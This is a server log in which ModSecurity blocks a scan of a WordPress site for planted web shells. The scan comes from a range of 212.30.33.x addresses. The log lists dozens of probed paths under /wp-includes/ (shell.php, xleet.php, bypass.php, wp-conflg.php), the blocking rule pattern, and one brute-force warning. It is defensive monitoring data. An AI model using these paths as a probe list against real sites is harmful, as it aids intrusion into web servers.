[Sun Mar 15 10:46:35.206921 2026] [:error] [pid 38536:tid 38561] [client 212.30.33.190:47527] [client 212.30.33.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "abYdi_pTEqkVJ0rBEWvMlgAAAAg"]
[Sun Mar 15 10:46:36.007086 2026] [:error] [pid 38536:tid 38566] [client 212.30.33.77:49907] [client 212.30.33.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "abYdjPpTEqkVJ0rBEWvMoAAAAA0"]
[Sun Mar 15 10:46:36.833205 2026] [:error] [pid 38536:tid 38566] [client 212.30.33.52:49985] [client 212.30.33.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/db.php"] [unique_id "abYdjPpTEqkVJ0rBEWvMqQAAAA0"]
[Sun Mar 15 10:46:38.520135 2026] [:error] [pid 42570:tid 42581] [client 212.30.33.228:37813] [client 212.30.33.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "abYdjsIUXZJLmk_gYCOhrgAAAYg"]
[Sun Mar 15 10:46:40.133439 2026] [:error] [pid 42570:tid 42597] [client 212.30.33.87:64449] [client 212.30.33.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-smtp-bar.php"] [unique_id "abYdkMIUXZJLmk_gYCOh2gAAAZg"]
[Sun Mar 15 10:46:41.364323 2026] [:error] [pid 50986:tid 50991] [client 212.30.33.190:60135] [client 212.30.33.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "abYdkSknK4c779bcQqHxhwAAAUM"]
[Sun Mar 15 10:46:42.604979 2026] [:error] [pid 38541:tid 38613] [client 212.30.33.78:63317] [client 212.30.33.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "abYdknuOpex8jIO0jt49IwAAAIA"]
[Sun Mar 15 10:46:44.216421 2026] [:error] [pid 38540:tid 38595] [client 212.30.33.179:29181] [client 212.30.33.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/about.php"] [unique_id "abYdlF8bnHsJ1dE90bImFwAAAEk"]
[Sun Mar 15 10:46:45.014701 2026] [:error] [pid 42570:tid 42574] [client 212.30.33.90:44531] [client 212.30.33.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-conflg.php"] [unique_id "abYdlcIUXZJLmk_gYCOiOAAAAYE"]
[Sun Mar 15 10:46:46.661579 2026] [:error] [pid 38541:tid 38617] [client 212.30.33.179:46033] [client 212.30.33.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "abYdlnuOpex8jIO0jt49TgAAAIQ"]
[Sun Mar 15 10:46:49.634404 2026] [:error] [pid 9995:tid 10009] [client 212.30.33.57:43945] [client 212.30.33.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-sup.php"] [unique_id "abYdmQa8xkcaSmgTbwg3ogAAAQs"]
[Sun Mar 15 10:46:50.840604 2026] [:error] [pid 42570:tid 42593] [client 212.30.33.67:27335] [client 212.30.33.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "abYdmsIUXZJLmk_gYCOikAAAAZQ"]
[Sun Mar 15 10:46:52.067523 2026] [:error] [pid 42570:tid 42595] [client 212.30.33.100:28589] [client 212.30.33.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit-tags.php"] [unique_id "abYdnMIUXZJLmk_gYCOisAAAAZY"]
[Sun Mar 15 10:46:52.867333 2026] [:error] [pid 38645:tid 38658] [client 212.30.33.90:22317] [client 212.30.33.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID/shell.php"] [unique_id "abYdnBFPHtsDUuVrWDa1MAAAAMs"]
[Sun Mar 15 10:46:53.688904 2026] [:error] [pid 38536:tid 38569] [client 212.30.33.79:27247] [client 212.30.33.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/security.php"] [unique_id "abYdnfpTEqkVJ0rBEWvNUwAAABA"]
[Sun Mar 15 10:46:54.906463 2026] [:error] [pid 38645:tid 38666] [client 212.30.33.228:42289] [client 212.30.33.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID/db.php"] [unique_id "abYdnhFPHtsDUuVrWDa1SwAAANM"]
[Sun Mar 15 10:46:55.716003 2026] [:error] [pid 50986:tid 50994] [client 212.30.33.94:21635] [client 212.30.33.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/simi.php"] [unique_id "abYdnyknK4c779bcQqHyIQAAAUY"]
[Sun Mar 15 10:46:56.518489 2026] [:error] [pid 38536:tid 38572] [client 212.30.33.54:40969] [client 212.30.33.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-theme-float.php"] [unique_id "abYdoPpTEqkVJ0rBEWvNegAAABM"]
[Sun Mar 15 10:46:57.728697 2026] [:error] [pid 50986:tid 50990] [client 212.30.33.94:49447] [client 212.30.33.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "abYdoSknK4c779bcQqHyMAAAAUI"]
[Sun Mar 15 10:46:58.530449 2026] [:error] [pid 50986:tid 51006] [client 212.30.33.89:21959] [client 212.30.33.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/file.php"] [unique_id "abYdoiknK4c779bcQqHyNQAAAVE"]
[Sun Mar 15 10:46:59.345307 2026] [:error] [pid 50986:tid 51012] [client 212.30.33.79:49165] [client 212.30.33.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/network.php"] [unique_id "abYdoyknK4c779bcQqHyPwAAAVc"]
[Sun Mar 15 10:47:01.442331 2026] [:error] [pid 38540:tid 38599] [client 212.30.33.94:62213] [client 212.30.33.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/template-wploader.php"] [unique_id "abYdpV8bnHsJ1dE90bInFgAAAE0"]
[Sun Mar 15 10:47:02.682131 2026] [:error] [pid 38645:tid 38648] [client 212.30.33.94:51403] [client 212.30.33.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/vars-soap.php"] [unique_id "abYdphFPHtsDUuVrWDa1wwAAAME"]
[Sun Mar 15 10:47:04.767873 2026] [:error] [pid 50986:tid 50988] [client 212.30.33.56:63487] [client 212.30.33.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/template-less.php"] [unique_id "abYdqCknK4c779bcQqHylwAAAUA"]
[Sun Mar 15 10:47:06.414885 2026] [:error] [pid 50986:tid 50996] [client 212.30.33.52:51993] [client 212.30.33.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/info.php"] [unique_id "abYdqiknK4c779bcQqHyxQAAAUc"]
[Sun Mar 15 10:47:07.240718 2026] [:error] [pid 38541:tid 38626] [client 212.30.33.78:54927] [client 212.30.33.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/wp-conflg.php"] [unique_id "abYdq3uOpex8jIO0jt4-VwAAAI0"]
[Sun Mar 15 10:47:08.475676 2026] [:error] [pid 9995:tid 10001] [client 212.30.33.72:39273] [client 212.30.33.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/av.php"] [unique_id "abYdrAa8xkcaSmgTbwg4bAAAAQM"]
[Sun Mar 15 10:47:09.706094 2026] [:error] [pid 50986:tid 50996] [client 212.30.33.77:57323] [client 212.30.33.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "abYdrSknK4c779bcQqHy_wAAAUc"]
[Sun Mar 15 10:47:10.521204 2026] [:error] [pid 42570:tid 42574] [client 212.30.33.91:47057] [client 212.30.33.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bypass.php"] [unique_id "abYdrsIUXZJLmk_gYCOjpwAAAYE"]
[Sun Mar 15 10:47:12.559281 2026] [:error] [pid 9995:tid 10021] [client 212.30.33.94:39987] [client 212.30.33.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "abYdsAa8xkcaSmgTbwg4pAAAARc"]
[Sun Mar 15 10:47:13.360437 2026] [:error] [pid 9995:tid 10004] [client 212.30.33.83:47437] [client 212.30.33.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "abYdsQa8xkcaSmgTbwg4sgAAAQY"]
[Sun Mar 15 10:47:15.018930 2026] [:error] [pid 38645:tid 38667] [client 212.30.33.179:49427] [client 212.30.33.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "abYdsxFPHtsDUuVrWDa2TgAAANQ"]
[Sun Mar 15 10:47:16.251165 2026] [:error] [pid 50986:tid 50991] [client 212.30.33.98:39719] [client 212.30.33.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/system.php"] [unique_id "abYdtCknK4c779bcQqHzSwAAAUM"]
[Sun Mar 15 10:47:17.888215 2026] [:error] [pid 38645:tid 38667] [client 212.30.33.90:35007] [client 212.30.33.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "abYdtRFPHtsDUuVrWDa2aQAAANQ"]
[Sun Mar 15 10:47:19.092439 2026] [:error] [pid 42570:tid 42574] [client 212.30.33.95:59519] [client 212.30.33.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "abYdt8IUXZJLmk_gYCOkGAAAAYE"]
[Sun Mar 15 10:47:19.929757 2026] [:error] [pid 38536:tid 38557] [client 212.30.33.89:21527] [client 212.30.33.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID/chosen.php"] [unique_id "abYdt_pTEqkVJ0rBEWvOVwAAAAQ"]
[Sun Mar 15 10:47:21.955806 2026] [:error] [pid 9995:tid 10003] [client 212.30.33.67:54657] [client 212.30.33.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/xsec.php"] [unique_id "abYduQa8xkcaSmgTbwg5NgAAAQU"]
[Sun Mar 15 10:47:22.761133 2026] [:error] [pid 42570:tid 42579] [client 212.30.33.51:21379] [client 212.30.33.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "abYdusIUXZJLmk_gYCOkSwAAAYY"]
[Sun Mar 15 10:47:23.598317 2026] [:error] [pid 38536:tid 38565] [client 212.30.33.166:53707] [client 212.30.33.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/category-double.php"] [unique_id "abYdu_pTEqkVJ0rBEWvOhQAAAAw"]
[Sun Mar 15 10:47:24.417272 2026] [:error] [pid 38645:tid 38653] [client 212.30.33.51:28293] [client 212.30.33.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "abYdvBFPHtsDUuVrWDa2mwAAAMY"]
[Sun Mar 15 10:47:34.560456 2026] [:error] [pid 38540:tid 38604] [client 212.30.33.68:56645] [client 212.30.33.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jcrop/about.php"] [unique_id "abYdxl8bnHsJ1dE90bIozgAAAFI"]
[Sun Mar 15 10:47:35.804192 2026] [:error] [pid 38645:tid 38658] [client 212.30.33.58:50837] [client 212.30.33.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/theme.php"] [unique_id "abYdxxFPHtsDUuVrWDa3EQAAAMs"]
[Sun Mar 15 10:47:37.429484 2026] [:error] [pid 38645:tid 38667] [client 212.30.33.91:21287] [client 212.30.33.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/log.php"] [unique_id "abYdyRFPHtsDUuVrWDa3IAAAANQ"]
[Sun Mar 15 10:47:38.233527 2026] [:error] [pid 42570:tid 42593] [client 212.30.33.91:47453] [client 212.30.33.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID/simi.php"] [unique_id "abYdysIUXZJLmk_gYCOlTwAAAZQ"]
[Sun Mar 15 10:47:40.265381 2026] [:error] [pid 38540:tid 38594] [client 212.30.33.79:60541] [client 212.30.33.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "abYdzF8bnHsJ1dE90bIpKgAAAEg"]
[Sun Mar 15 10:47:41.888867 2026] [:error] [pid 38541:tid 38624] [client 212.30.33.51:46123] [client 212.30.33.51] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.30.33.51, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "abYdzXuOpex8jIO0jt5ACwAAAIs"]
[Sun Mar 15 10:47:42.704250 2026] [:error] [pid 38541:tid 38631] [client 212.30.33.51:46123] [client 212.30.33.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "abYdznuOpex8jIO0jt5AGwAAAJI"]
[Sun Mar 15 10:47:43.529356 2026] [:error] [pid 38541:tid 38631] [client 212.30.33.73:54547] [client 212.30.33.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/past.php"] [unique_id "abYdz3uOpex8jIO0jt5AJAAAAJI"]
[Sun Mar 15 10:47:44.375841 2026] [:error] [pid 50986:tid 51008] [client 212.30.33.190:23795] [client 212.30.33.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/item.php"] [unique_id "abYd0CknK4c779bcQqH03AAAAVM"]
[Sun Mar 15 10:47:47.214177 2026] [:error] [pid 38645:tid 38654] [client 212.30.33.83:45761] [client 212.30.33.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "abYd0xFPHtsDUuVrWDa3rwAAAMc"]
[Sun Mar 15 10:47:48.439605 2026] [:error] [pid 38645:tid 38661] [client 212.30.33.90:45465] [client 212.30.33.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/button/index.php"] [unique_id "abYd1BFPHtsDUuVrWDa3wQAAAM4"]
[Sun Mar 15 10:47:52.273074 2026] [:error] [pid 38645:tid 38665] [client 212.30.33.85:54653] [client 212.30.33.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-theme-control-cron.php"] [unique_id "abYd2BFPHtsDUuVrWDa35AAAANI"]
